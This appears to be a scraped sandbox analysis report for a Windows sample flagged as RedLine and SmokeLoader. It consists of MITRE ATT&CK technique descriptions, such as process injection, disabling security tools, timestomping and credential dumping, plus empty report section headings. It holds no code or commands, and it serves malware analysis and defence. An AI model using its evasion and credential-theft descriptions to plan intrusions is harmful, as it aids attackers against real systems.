Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report y8WngeDn4q.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Threatname: SmokeLoader

Yara Overview

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Exploits:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre